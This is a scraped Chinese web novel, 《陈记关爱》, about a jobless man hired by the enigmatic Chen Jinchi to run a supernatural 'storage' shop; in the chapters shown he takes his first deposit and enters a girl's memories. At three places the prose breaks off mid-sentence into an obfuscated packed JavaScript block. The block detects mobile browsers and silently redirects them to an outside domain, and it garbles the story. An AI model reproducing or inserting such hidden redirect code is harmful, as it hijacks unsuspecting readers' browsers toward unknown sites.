《陈记关爱》 1. 夜遇神,精病 “第48家……”这是许陆风失业的第五天,“再凑两家,就够一个礼拜的伙食费喽。” 在24小时速食店坐到十点钟,回家。 两百的月租房只隐藏在窄乱的城中村中,冰箱是整层公用,在密不透风的房廊尽头的公共厨房里。拿出昨晚剩下的方便面快速吃完,洗碗,回房。 房间是一个客厅划出来的逼仄单间,床靠着厕所,小衣柜放在床边挡住了一半窗,没有空调。 摸黑洗完澡,出来看手机,清一色的主播公司面试邀请,还有一个金叶门的气氛男……模岗位。 面试回忆: “你为什么在上家公司辞职?” “你的职业规划是什么?” “本科没有专业限制,专科需要专业对口。” “试用期三个月,加班自愿,单休……如果是工作义务范围内的事情不算加班费。” “能喝酒吗?经理助理岗位需要经常陪领导应酬。对了,你有驾照吗?” “没有底薪,只有提成,客户积累需要两到三个月,三个月后就能开单了。” “需要开朗活泼,能说会道的,平时跟朋友都玩些什么,兴趣爱好是什么?” “你是本地户口吗?” 专科毕业的外来务工男,工作两年,没存款、没技能、没兴趣、没对象,没特异功能,精神和物质双重贫瘠达到标准峰值。 嗯,前途无亮。 “喂。” “风子,出来喝酒呀,有人请客!” “不去,明天还要面试。” “我跟你说,今儿这个场都是些有钱人,要是勾搭上一个富婆你吃喝就不用愁了兄dei!” “滚。” “跟你说,出来混自尊心就不能太重,想要钱就放低原则,赶快的麻溜地打扮打扮!十分钟后出来马路口。” “我不,喂?艹。” 电话挂得够快。 谭强是他的发小,比他大一岁,高中没考上大学,十八岁出来混社会。哄女人有一套,尤其是有钱的。 头朝的那面墙后面住了一对情侣,每晚都得整一回,就像在他头上开工。 闭眼睡了十分钟,忍无可忍,拳头连着砸了十几下墙面,那边停了几秒,动静更大了。他起了助兴的作用。 换衣服,出门。 出了村,马路口停着一辆棕色路虎越野,车窗降下,谭强叼着根烟。 “磨蹭什么快上来啊!” 上了车,谭强开始嘚瑟。 “怎么样,新买的越野,我的生日礼物!” “薇薇阿姨真棒。” “什么阿姨阿姨叫得多难听!我跟你说你这张嘴就是太实诚了知道吧,不然凭你的条件什么样的有钱女人不拜倒在你皮带下,实诚吃亏知道吧!你要是不改啊,这辈子都得穷!还有啊,你得改改你的丧事脸,多笑笑,爱笑的男人运气不会太差哦!” 笑会让他情绪起伏剧烈,在他的世界里,淡淡的才能长寿。除了场合需要,其他时候他想活得随心些。 要说他还能拿得出手的东西,年轻,还有中了基因彩票的皮囊。 他的梦想是一夜暴富,但他懒得打开手机地图寻找最近的彩票店。 他不屑吃软饭,不愿意干抛头露面的活。最理想的工作是没有同事和客户,按时上下班,包吃包住的工作。 要说当下有什么热切期盼的,就是搬离月租房。 “你今天这个打扮,我给你个人设,不谙世事的男大学生!绝对抢手!” 他夏天拿得出手的衣服,两套正装和两套运动装,其他可以随时做抹布。 下班时间出来社交,他只有短袖长裤运动鞋。况且需求量微乎其微。 谭强开的方向是市郊区,一路神神秘秘,反复强调是个好地方。 下了高速,车子进了一条没有路灯的小路,两旁是些丫丫叉叉的树,连户人家也看不到。 如果不是认识多年,他肯定谭强是要拉他去什么诈骗组织。 但新闻里很多受害者都是被熟人骗的,心里没全底。人都是会变的。 就在他准备拨通报警电话,前面出现警戒灯,再往前两百米左右,出现一处闸杆。 保安拦车检查,谭强掏出一张黑色卡片,笑脸嘻嘻递给保安。 “大哥,开始了吗?” “没呢,两个人?” 保安检查了前后座。谭强十分懂规矩,又把后备箱打开。 “可以了,放行!” 闸杆后是一道三米高的铁皮大门,大门一开,水泥广场上停着各色豪车,一栋四层复古联排别墅在惨白的灯光里映得阴森森,每个窗户都是漆黑的,像涂了墨,大门有两个保安看守,广场上没有人走动。 “今晚有一个秘密拍卖会,来的都是各行各业的资本。薇薇要睡美容觉,所以把门票给我了,嘿嘿。你记得,这里有一个规矩,进去之后千万要等到红灯亮起才能出来,明白吗?” “哦。” 他不懂这个规矩的逻辑,社会高层喜欢发明各种各样的规矩,他不想惹麻烦,遵守就是了。 过安检,交手机,搜查身上口袋,放行。 通过一条五米长的走廊,第二道门打开,狂欢音乐开闸而出,有一秒晕眩。DJ自顾自嗨,下边坐着、站着、走着的人都是自成一股气场,穿着优雅华服,贴耳交谈,有的还戴着面具。 再看自己的衣着,顿感局促。 “主会场在四楼,我们先上去!” 坐电梯上四楼,这一层格外安静,偌大的拍卖厅只有中间一束追光,罩着一副巨大的玻璃展窗。 跟着地上的荧光指示,找到位置坐好。立马过来一个工作人员。 “二位先生晚上好,请问是代宋薇薇女士前来拍品的吗?” “对对对,她没空,所以就叫我们来了。” “好的,请问二位跟薇薇女士是什么关系呢?” “我是她老公,这是她二老公!嘿嘿嘿,美女你懂的!” “好的,这是今晚的拍品,二位先过目。” 待工作人员离开,踹了一脚谭强。 “你爸才是二老公。” “嘿嘿嘿,别生气嘛,都是逢场作戏,你要圆滑!” “圆你妈。” 翻开目录表,荧光印的拍品名和历史简介,没有拍品图。大致扫了几个,都是禁品。 “找到啦,薇薇要的就是这个!” “佛珠?果然是老年人审美。” “瞧你那张嘴啊,你就适合干动物园的铲粪工!” “有工作看一看包吃包住……” “有工作看一看包吃包住……” “什么东西?” 有人从身后过,两个人腿上多了一张纸。 “居然还有人来这里发传单,新奇。适合你呀,给你看。” 拿着两张传单,只能看清是用两张惨白纸写的,上边的黑色字模糊一片。发传单的人说包吃包住,揣进口袋,等出去再看。 “几点开始啊?” “哎呀别心急啊,总会开始的。” 明天最早的面试是八点半,凌晨睡了肯定起不来,索性不睡了。 没有手机,里面也没有钟表,等一会儿,忽然追光一暗,全场陷入黑暗,一秒后,追光再次亮起,提醒在场人拍卖开始。 广播响起。 “各位先生、女士,拍卖即将开始,请入座。现在讲解拍卖规则:每张桌上有一个加价绿色灯纽,按下即为加价成功,广播会实时通报加价情况。物品拍定后,请随工作人员前往领取。温馨提示:流拍品不再返场,毁拍者将终生加入黑名单。先生们、女士们,请谨慎按灯。现在展出第一件拍品,起拍价两千七百万,每次加价五十万。” 玻璃展窗里安置了升降装置,随着广播女声话落,升降机启动,托上来一串手环。 广播女声:“各位可移步红线范围外观看。” 翻开目录对照,第一件物品是一条骨制手环,具有特殊宗教意义,辟邪驱凶,十二岁少女……呃,喜欢这种东西的都是变态。 广播女声:“四号加价一次,四号加价两次,四号加价嗯六次,四号加价十次!” 五秒加价十次,把按钮当管撸了,肯定是个中年丧失男,变态。 像四号那样的极品变态还是少数的,没有人跟他抢。 四号在他们的对角处,那人起来的时候可以看到大致身形,高高瘦瘦的,穿着笔挺,人不可貌相啊。 找到谭强要的佛珠,是第十件拍品。 广播女声:“现在展出第二件拍品,起拍价三千万,每次加价八十万。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810604|158596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 第二件拍品被送上来,一具干尸,拍这玩意回去认祖宗吗?还是这玩意儿能改祖坟风水? 难怪要在晚上拍卖,白天这些东西怎么敢出来。 第五件拍品结束,中场休息,谭强急急忙忙奔厕所。 他算看明白了,越往后的拍品越贵。谭强找了座金山呐。 “你好,考虑换份工作吗?你的形象气质十分契合我们公司。” 谭强的位置坐下一个陌生男人,弱光里,云纹镶翠胸针放出一圈针茫,十指交握搭在腿上,一根麻溜花鞭垂至肋下,用几根银饰品收尾,昏暗里也能看清五官轮廓十分优越,虽是长发,但不阴气,给人一种古典神秘的感觉。 人贩子不会在脸上写人贩子,越会骗的骗子越会笑。看上他的形象气质,多半是找他做男模公关一类。 “不考虑,谢谢。” “考虑一下,我们公司福利待遇很不错,公司业务都写在那张纸上了,考虑好联系我。” 什么纸,哦,那张传单。摸了摸口袋,再抬头男人不见了。 这时,广播发出杂音,广播员的声音断断续续,可能是郊区信号不好。 谭强兴致冲冲回来,“刚刚在厕所门口听到两个美女讲话,她们在说你耶?” “嗯?” “说你长得好看,想上,哈哈哈哈!” “滚犊子,黑灯瞎火的看个毛啊。” “啧,真不开窍。” “我去个厕所。” 谭强一脸贱笑。 “你的脑子应该拿去隔离。” 电梯旁有个通道,通道有灯,尽头是厕所,通道左边还真有两个女的站着抽烟聊天,毫不掩饰盯着他评头论足。看年纪应该是三十岁左右,身材挺好,嗯,总之比薇薇阿姨强。 走进右边男厕,一进门看到那只云纹镶翠胸针,男人侧脸很好看,眉锋鼻挺,嘴角微微上翘,像在微笑。 什么微笑,人家在撒尿,盯着个大男人看疯了吧! 整个厕所现在好像就只有他们两个人,不知为何,总觉得这个男人膈应,可能是给他推销过工作的原因,还是去隔间解决吧。 从隔间出来,那男人正在洗手,尿这么久? 洗手池有三个,男人占了中间那个,只得硬着头皮过去。 “你害怕什么?” 男人突然讲话,当真吓了他一跳,莫名的心虚笑起来。 “你在说什么,你刚刚说话才吓到我了。” “抱歉。” 男人笑得如沐春风,那双眼珠子黝黑得可怕,好像能把人吸进去。他莫名地感觉到一种妄想渗透的侵略感,下意识往后退了半步。 尴尬一笑,赶紧洗手。 “现在可以聊一聊工作的事情吗?” “啊?我还没看呢,我回家仔细看一下。” “你现在看看。” 男人虽语气温柔,却有不容置疑的压迫。 无奈,掏出已经塞变皱巴的两张传单,展开细看,白纸黑字,厕所无良小广告的印刷风格。公司业务——跟着老板,老板又帅又温柔!公司宗旨——相亲相爱一家人!现招店铺伙计一名,底薪2……1、2、3、4,四个零,两万!包吃包住。联系人陈先生。 “陈先生,冒昧问一下,您的公司是做什么行业的?” “关爱行业,帮客户保管一些比较特殊的东西。多数时候客人都是自己上门要求存货,你看店就行。” “哦。您这上面没有地址,方便问一下您的公司的详细地址吗?” “宁郎公路45号,离你家只隔两条街。补充一下,每成功存入一件货物会有提成,不多,几十万左右。” “几十……”明白了,灰色地带产业链,收获无限牢技能,“陈先生,您现在有多少公司员工?” “不多,加上你,两个。” 明白了,拉人头阶段。 “毕竟是换工作的大事,还是这么大一份工作,我要回去跟家里人商量一下。” “好啊,明天十二点之前我都在店里,欢迎来参观。” 男人掏出一张黑色卡片和钢笔,“方便留个联系方式吗?” “没问题。”留假号码还不容易。 最后敷衍两句,赶紧离开。走到一半总算觉出哪里不对劲,他怎么知道他家在哪? 2. 45号 凌晨三点回到月租房,实在困得不行,决定睡了再说。 打开风扇,随着热意驱散,逐渐迷糊,一片凉意贴上后背,一双手搭在他腹部轻轻摩挲,又游到胸部,不知是哪位老师临幸梦里。 但是脑袋好沉,好疲惫,连梦里也没力气翻个身,索性将发挥权交给老师。 七点闹铃响起,死鱼一样支起身,脖子僵疼,落枕了。走廊上有孩子在追逐嬉笑。 这片区都是出租房,许多带着孩子离家打工的父母,早起给孩子做早餐,吃完早餐开电动车送孩子上学。 他没有吃早餐的习惯,买了两个包子中午吃,快速洗漱,七点半前出门。 公交站在村旁十字路口对面,等红灯时,忽然想起不久前这里出过车祸。一个女人用电动车送两个孩子上学,闯红灯时被一辆急速转弯的面包车撞出去,交警盘问肇事司机,司机说自己没有驾照,撞了人之后压着电动车拖行了五六十米,是因为技术不熟练。 公交坐五站到地铁口,地铁十站后转站,再坐六站到市区,踩点到达第一家面试公司。 一个上午跑了六家,中午找了个商场坐着休息,拿出早上买的包子啃,顺便看有没有回复消息。 “哥,能发点钱给我吃饭吗,没钱吃饭了【可怜】” “你没回家吗?” “没有,那个人又发癫了!” 【转账100元】 【对方已领取】 “谢谢哥!” “我最近在找工作,也没钱了。” “好,我明白了。” 没有面试回复。 看了眼时间十二点半,脑海里浮现昨晚那个男人的脸,现在的骗子越来越好看。 下午面试完最后一家公司,六点半,回家。 如果说今天有什么幸运的事发生,就是回程在地铁上找到一个座位,而且是靠边的。 翻了会儿招聘信息,神使鬼差打开地图查找出租房附近的街道,还真有条宁郎公路,45号…… 这是条商铺街,两边是小吃店,45号门牌锈迹斑斑,店面多年无人打理,卷闸门上的转租信息已屑化。 “小伙子,吃烧烤不啦?” 左边烧烤店老板坐在店门口,端着把大茶壶,一口烟一口茶,留着两撇胡,脖子上戴着两圈红绳,笑脸盈盈。 “老板,这家店有人开吗?“ “有的有的,有人开的,你等等啊小伙子,不要走啊!” 老板急急忙忙回自己店里,半分钟后出来。 “明天就有人开啦,哦呦,这家店的老板人老好啦。小伙子,你是要找工作吗,那可不能错过呦!” “您知道这家老板是做什么生意的吗?” 老板欲言又止,又往店里去。 “小伙子你再等等哦,不要走哦!” 通风报信?半分钟后老板出来。 “是帮人存东西的生意,钞票多多的哦!你要找工作赶紧明天上门的嘞,抢手的嘞!” “啊好,多谢啊。” 可能是老板看出来他的敷衍,莫名其妙来了一句。 “小伙子,有的缘分就是你的,无论如何你都是逃不掉的哦。” 顿时觉得瘆得慌。想想那个男人说离他住的地方不远,难不成已经跟踪了他一段时间? 他是个穷鬼,唯一值钱的就是身体里年轻健全的器官了。 艹,怎么就被人盯上了? 回到出租房,心情烦闷。 “喂。” “哥!许春明去赌欠了好多钱,债主找上门来了!” “你先别哭,他们有打你吗?” “没有,他们说,说一个星期内再不还钱,就来割许春明的手指,我害怕!” “报警了吗?” “没有,我不敢……” “你去妈那里住一段时间吧。” “她,她会愿意么?” “我跟她说,你先收拾东西。” 拨通张惠英的电话。 “儿啊,打电话有什么事啊?” “许春明欠了债,债主找上门把房子砸了,阿弟要去你那里住一段时间。” “儿啊,你叔叔最近生意不好,这个得先找他商量商量。” “你之前不是说留了一间房给我吗,给阿弟住。” “当时确实是想着你回回来住,但是你不是不愿意回来嘛。你也工作两年了,也没有打过钱回来,我现在虽然有工作,但是家里大小支出都是靠你叔叔的。” “我给你转两千,让阿弟在你那里住两个月,他现在就要过去。我不是在跟你商量,生了就得负责。” “唉,行吧,你让他过来,我跟你叔叔说一声。儿啊,话也不能这么说,当初你弟弟是判给你爸的,现在他还没成年,抚养权还在你爸那里,你爸的为人你也知道,我要是理多了,肯定又会打电话来说些混账话。” 给阿弟回了个电话,扔下手机,头脑嗡嗡发烫。恨不过,拨通许春明电话。 “你又欠了多少钱?” “十来万吧。” “你打算怎么还。” “老子不打算还,老子打算跑路!反正是租的房子,我随便去哪儿。” “那阿弟上学怎么办?” “上什么学,你知道他这个学期才上了多少节课,我交的学费全部白交了!反正他不喜欢读书,索性不读了。” “你应该去死掉的,死掉大家都清净。” “我艹你妈,老子养大你你撮合你妈跟老子离婚,一个两个都是贱种,都像了你妈你个贱人!” 两千块钱转出去,卡里剩个三百。对面人家的窗子上挂了个儿童玩具公鸡提灯,一闪一烁,似乎还在放音乐。小时侯心心念念许久也没得到一个,现在再看,塑料制品,低廉得很。 那两张传单被他塞在窗户缝里,重新展开,联系人陈先生,后面有一个联系电话,拨通,深吸了口气。 “你好,这里是陈记关爱。” “您好陈先生,我们昨天有见过。” 对面男人笑了笑,很是愉悦,像头狼,“许先生,换号码了?” 他没有说过自己的名姓,果然是调查过他的。 “陈先生,我们打开天窗说亮话吧,我没有告诉过你我的名字和住址,但是你都知道,你应该还知道我在找工作吧。说吧,什么目的。” “许先生,你不要误会。我们公司的招人标准跟一般公司不同,需要讲求‘貌合神合’,用玄学来解释就是五行相生、八字契合。 公司与你的遇见是注定的,也就自然而然知道了你的一切。我知道听起来不靠谱,但不是所有的奇怪都有解释,没有解释不代表它危险。” “我今天去看过你说的那个地方,没有人。” “明天就有了。我们约明天见面吧。” “……好,明天上午十点。” “恭候你的光临,许先生。” 挂掉电话,闷头蜷成一团。 他不喜欢开灯,打开灯,会看到这个房间确切的狭窄,发黄的墙壁,脱漆的门板,生锈的窗户。他喜欢看着外头渗进来的光,或横或竖,在黑暗里切出一段。 第二天七点半闹钟响,洗漱完八点出门,买了两个馒头边走边吃,一直走到宁郎公路45号,八点半。 招租广告还在,卷闸门拉起一条缝,里面传出铿哩哐啷的动静,像在砸东西。 “小伙子。” 突然冒出的人声,转身,隔壁烧烤店老板站在身后,头顶用红绳扎了个小髻。怪异得像个精神病患者。 “小伙子,我就知道你是个明白人。” “我只是来面试的。” “非常好,你一定可以面试上,看好你呦!” “呵,呵,呵……” 45号动静停了,闸门底伸出一只手,用力托起闸门。 卷闸门后面还有一道门,木制门框,嵌的五彩玻璃,很复古。 “许先生,吃早餐了么?” “陈先生您好。” 男人今天没有扎麻花,头发用簪子挽起一半,还穿着睡衣,是那种对襟盘扣的,材质应该是丝质的,看起来柔亮垂滑。 “我是刚好路过,顺便过来看看,您先忙……” “来了就进来吧,刚好做了早餐,一起吃点。” “不用了,我吃过了。” “哎呀,大小伙子磨磨蹭蹭的,来来来!” 烧烤店老板极为热情,推他进店门,之后还贴心把门带上。 瞬间,世界安静了。 五彩玻璃的反面是乳白色,凹凸不平的纹理,透进来的光仿佛被卸了一层力。木制地板,左边是个长方柜台,右边是面墙,下面放了一株一米高的像藤又像树的枯植,没有叶子。 往里还有一片空间,空无一物,角落有一副上二层的转角木楼梯。 木楼梯旁有个小门,男人进去端了一碗抄手出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810605|158596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,放在柜台。 “还有些烫,里面是厨房,你的房间在上面,我带你上去看看。” 他还没答应要留下来呢,但男人没给他机会拒绝,自顾走到楼梯口,笑着朝他招手。 “都是男人,还怕我吃了你?” 男人的威严遭到挑战,去就去,大不了拼命。 楼上有什么?踏上第一个阶梯,已经设想了三种被蛇皮袋套住脑袋的画面,当然,最好是他想多了。他应该先要求看营业执照的。 男人的手在前头轻轻晃动,手掌宽、手背薄、手指长,青筋微微凸起,指节微微勾着,藏着暗劲。皮肤白得有些惨。 二楼,没有等来他预想的画面,没有同伙。对面墙上开了扇圆形的玻璃窗,也是乳白色的;一张床,床架是铁制的,喷了银漆,做了镂花,配了个相同风格的床头柜;床对面是个嵌入式衣柜,外面守着支木衣架。一目了然。 “家具简单了些,但是空间还是很大的。对了,给你看看我们公司的营业执照。” 回到一楼,男人从柜台抽屉拿出营业执照和房产证明。 “扫上面的码就可以查到公司登记信息,店铺的产权人也是我。” 当即扫了看,确实经过注册,地址对得上,经营者名字陈金池。再看房产证,没有问题。 “原来您就是老板啊。” “嗯,陈金池。洗手间在那边。“陈金池指着右边的通道口,“既然没有问题,明天就过来上班吧。” “稍等一下,您之前说公司业务涉及到存货的,但是我看这里也没有放什么东西。” “仓库在另外的地方。”男人从抽屉拿出一叠黑色卡片,“你的工作内容就是接待上门客户,了解他们的存货要求,签下存货契约之后拍照发给我。加个联系方式。” 接过黑色卡片,上面什么都没有。 “存进来的东西有要求吗?” “能上门来的都收。厨房里的食材都可以用,包吃,但是饭要自己做,食材会有人定期送来。许陆风,没事,我写备注。” “工资是几号发?” “每个月一号,准时。” “不用签劳动合同吗?” “我们公司的制度跟一般公司不同。平时不发朋友圈呀。” 他指着纯黑卡片,“这上面什么都没有啊?” “客户说出存货要求后才会出现。” “上班时间是怎样规定的?” “没有规定,你自己安排。你只要记住,按铃的才开门。” “啊?” “每周有两天双休,你也自己安排。店门钥匙在抽屉里,出去记得带钥匙。” “你平时住这里吗?” “平时不住。”陈金池终于抬起头,指着里头那片空间,“你觉得这里摆个会客沙发怎么样?” “啊,我觉得可以。” “嗯,你喜欢什么风格的?” “我没有什么特别喜欢的。” “那我给你挑一个冬暖夏凉的。” 他瞟了一眼陈金池的手机界面,居然真的在挑家具。 从店里出来,感觉就像一场梦,但是手里的钥匙是真实的。 回到月租房,他的东西不多,一个行李箱全部装完。 “喂,强子,我找到工作了。” “真的,干什么的,工资高不高?” “还行,包吃包住,我把地址发给你,以后你要找我就去那儿。” 第二天起了个大早,来到45号,又看到隔壁烧烤店老板坐在门口喝茶。这回只是打了个招呼,没有说奇奇怪怪的话。 钥匙是开卷闸门的,一进门,店里多了一副木制新家具,办事效率真快。上二楼收拾好行李,正式坐到柜台后。 柜台有三个抽屉,第一个抽屉里面放着一堆黑色卡片;第二个抽屉里的营业执照和房产证明还在,居然把房产证放这里,不过人家可能不在乎这一个小破商铺;第三个抽屉里放着一支钢笔,整体细长,笔杆银制,笔尖金黄且有一串精细刻纹,像某种语言,笔握和笔杆的交接处有刻花,看上去有些年头。没有配墨水。 习惯了高度紧张的工作,一下子清闲下来如坐针毡。无聊得扣墙寻缝。想给新家具擦一擦,发现整个店铺只有厨房一块洗碗抹布。 转悠到那株似藤似树的盆栽,发现盆里的泥土已经干硬了,去厨房接了碗水淋上,水全浮在上面,没救了。 就在这时,门铃响了。 3. 兔子坟 开门,是个女孩,抱着一个方形的布包裹,眼神瑟缩。 “你好,请问这里是可以存东西吗?是朋友推荐我过来的。” “是的,请进。” 女孩进门环顾一圈,看到沙发。 “请问,我可以坐在那里吗?” “当然可以,请先坐。” 店铺里没有茶具,只冰箱里有几罐儿童牛奶。 女孩举止拘束,“请问您是老板吗?” 黑卡片和钢笔放在已经提前放到桌面,“我是员工,老板不常在,我帮您办理存货是一样的。请问您对存货有什么要求吗?” “我,我……”女孩似乎没想好。 他眼光扫过黑卡片,惊愕看到上面渗出一些金色的东西,下意识认为是光影,用力抿了抿眼,金色凝成了只兔头的图形。 “真的什么都可以存吗?”女孩手护在包裹上,腕上扎着一条姜黄色的丝巾,并非完全信任店铺。 “是的,你可以完全信任我们。”他突然有个大胆的猜测,黑色卡片上的兔头,“兔子。”他没头脑说了出来。 见女孩眼睛一亮,他知道猜对了,这张黑色卡片有提示的作用。 “我想知道,存进来之后,将来我可以再拿回去吗?” 黑色卡片浮出两个字,不能。 “女士,您之前应该有了解过这边的规矩。如果您还没有考虑好,我们可以中止此次存货。” 女孩连忙摆手,怕失去这次机会,“我存。我希望它们的伤口可以愈合,在一个没有任何伤害的地方,完整地,保持现在的样子,像活的一样。” 黑色卡片又有动静,契约。 “您的要求我们收到,最后一步,请在上面签字,就能把东西留下了。” 女孩深呼吸,拿起钢笔签字,笔尖流出来的是金水。签完字,女孩抱着包裹说了声对不起。 送走女孩,拿着黑色卡片逆光观察,女孩的笔迹已经被黑色吃掉,怎么看,都是张普通的硬卡纸。拍照发给陈金池。 包裹挺厚,拆开布包,里面是一个方方正正的木盒子,打开盖子,一股冷气扑出,最上面压着两个冰袋,拿起冰袋,下面是一个真空包装的东西,拿起仔细看,险些给他吓出心脏病。 刚刚那个女孩! 这时候,黑色卡片又有新的内容——我是凶手——我很伤心…… 最后一句话消失,再次渗出的金水似不够量,没有显现完整的字或者图,拿起来甩了甩,猝不及防被一股怪力扯走,这股力道凭空而来,将他从现实世界撕开,进入到一个漆黑的空间,耳边有风声,但就是什么都看不到。 忽然,有光透进来,他看到一片草地,像是在某个公园里,他没有移动,但是视线却开始游移颠簸起来。他听到喘息声,是个女孩,但是他看不到人,忽然一只戴着智能手表手抬起,另一只手点了点屏幕,这是第一视角,他好像进到别人的身体去了。 哦天呐,他还能回去么? —————— 心跳频率131/分钟。 “您已经跑了五公里,用时00’38’09,太棒了,继续加油!” 肖灿结束跑步,回家。 妈妈刚刚做好早餐,爸爸坐在沙发上看报纸。 洗手,吃饭,食不言。 吃完饭,爸爸从眼镜后看了肖灿一眼。 “头发该剪了。” 不是建议,是规定如此。 早上出门前看过,头发超过肩膀一厘米。她点头。 “我给你找了个学国画的老师。你的性格太沉闷,需要用兴趣爱好丰富起来。下午两点钟老师会到,准备一下。”爸爸又说。 她犹豫了一下,点头。 妈妈知道她不喜欢画画,但只是用眼神安慰了她一下,什么也没说,就去收拾碗筷了。 没什么伤心的,她已经过了用可怜巴巴和眼泪求救的年纪。 想参与厨房的家务,但是被妈妈推了出来。 “乖乖乖,你去学习,这里交给我,大三了要开始准备毕业论文了。” 她知道什么时候该准备毕业论文。 那就扫地吧。 妈妈跑过来抢了扫把,“说了让你回去学习,快去快去。” 爸爸又透过眼镜不满看了她一眼。 洗完手,看着镜子里的自己,她更喜欢长头发。拉开厕所门,看到爸爸站在不远处审视她。 “你今天状态不对劲,交男朋友了?” “没有。” 爸爸的眼神更加怀疑,又审视了五秒,“别让父母白费心思。”很具有威胁性的一句话。 撂下她在原地,谨慎做选择。 她选择回房间看书,中途有人打开她的房门看了一眼,又轻轻关上,数了六声,爸爸出门了。 厨房还有动静,她偷偷打开房门出去,看见妈妈在用真空包装袋装肉。 又等了半个钟,厨房才没了动静,妈妈开门进来。 “宝贝女儿,这是爸爸送给你的生日礼物。” “哦,放下吧,我要学习。” “好,好,你好好学,妈妈不打扰你。” 等门关上,把礼物推进垃圾桶。爸爸不会发现的,因为妈妈会清理。 三分钟后,妈妈出门了,不出意外的话十一点前家里不会有人。 她是个需要别人监督才会自觉的家伙,撂下笔,锁了门,她需要睡个回笼觉。 十点钟闹铃响,轻轻打开门锁,外面没有动静,打开门往厕所走去,客厅厨房都没有人。 回到房间,开始准备下午上课的东西。 站直,挺胸提气,礼仪手,微笑,“老师您好,我叫肖灿,今年大三,七岁的时候上过二十四节国画课,五岁开始练习毛笔字,直到现在没有一天中断。” 这个时候爸爸就会展示她的毛笔字,然后贬低她的国画水平。妈妈会在旁边好像很无措的样子,尴尬地笑着,然后拜托老师一定要帮帮忙。 下午两点,邱老师来了,手里提着一笼子小兔子,大概有七八只,黑白相间,挤成一团。 “真不好意思,这是朋友家的,我放门口,绝不会弄脏里面。” 爸爸妈妈强颜欢笑,他们不可能把邱老师的东向放在外面,热情帮着邱老师把兔子放在了阳台上。 她做了自我介绍,爸爸妈妈按她预料的流程稳步走着,然后,邱老师开始在书房正式教学。 课间休息时,爸爸推门进来,嘱咐她,“邱老师夸你了,证明你是又天赋的。小时候就是懒,要是小时候学了,现在不就可以腾出更多时间。” “嗯。” 爸爸叹了一声出去了,而后听到说,“死气沉沉的,没一点年轻人的活力,看来得给她加强体育锻炼。” 邱老师回来,看到她在纸上画的黑白团,问她是不是喜欢兔子。 “不是,只是刚刚看到兔子了。” “通过细致入微的观察后呈现的写实作品,会更加生动。要不老师送几只兔子给你做模特?” “这个要爸爸妈妈才能做决定。老师,我想学好国画。” “好,我去跟你父母说。” 等邱老师出去,她撕掉了兔子画,改画山水。 她听着邱老师把话说出来了,几秒钟后,爸爸问邱老师是不是她的主意,邱老师否认了,强调只是必要的学习过程。 最后爸爸妥协了,留下了三只兔子,他太想要她学好国画。 邱老师说这笼兔子刚出生二十天。 自小兔子来家,白天除了周六日上国画课,其他时候她不会多看小兔子一眼。直到晚上等爸爸妈妈睡了,她才轻手轻脚跑到阳台关上阳台门,打开笼子,兔子一只接着一只跳出来,它们各自选择了块自己喜欢的地方待着,一会儿又聚在一起,一会儿又分开…… 周六日上午,她有更多的时间跟小兔子沟通。 “小兔子乖乖,把门开开,快点开开,我要进来……不开不开我不开,爸妈要回来,回来我不开。” 就在这个时候,门锁响了,阳台门被拉开,爸爸当场逮住了一个玩物丧志的小孩。 “阳奉阴违的事她现在都敢干,你没有看到她那个样子,被我当场逮到居然一点愧疚感都没有,这孩子憋着坏呢你这道吗?坏透了!” “要不,我们把兔子送走,其实我也不太喜欢。” “送走,绝对要送走!我就说她不对劲,一翻监控,好嘛,晚上不睡觉熬夜逗兔子,难怪白天没有精神!” 监控,原来家里装了监控,难怪爸爸提前回来了…… “妈妈,爸爸什么时候安的监控呢?” “就是养兔子的第二天。”妈妈目光闪躲,“你爸也是怕你分心,所以才安的。” “哦。” 走出厨房,来到客厅,没有明显的监控装置,走到阳台,在墙角发现了一个摄像头。原来她是走进了兔子们的监控区。可难保,在这个家里的隐蔽地方,也会有监控呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810606|158596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 坏透了!脑子里突然蹦出爸爸的评断。爸爸一向是正确的。 台灯下,一只小虫子飞来飞去。她转着笔,放空。 没有心思看书,从抽屉深处翻出一只口红,她的房间没有镜子,照着手机相机画,画好后,妈妈喊吃晚饭了。 她一坐下,爸爸照例审视她。 “你涂口红了?” “没有,唇膏,会变色的。” “以后少用这些小心思的东西,唇膏换了,换正常一点的。” “哦。” “邱老师不来了,换了一个老师,林老师,这周六过来。” “嗯。” 一家三口开始吃饭,食不言。 新来的林老师也戴眼镜,她不喜欢。 课间休息,爸爸推门进来,十分生气,“人家问你话你为什么不回答?你一点礼貌都没有,之前上的礼仪课都白学了!” “我有回答。” “别狡辩,我看得一清二楚。”爸爸垂下的那只手拿着手机,“谎话你是张口就来啊,这个东西你不用学天生就会哦!” 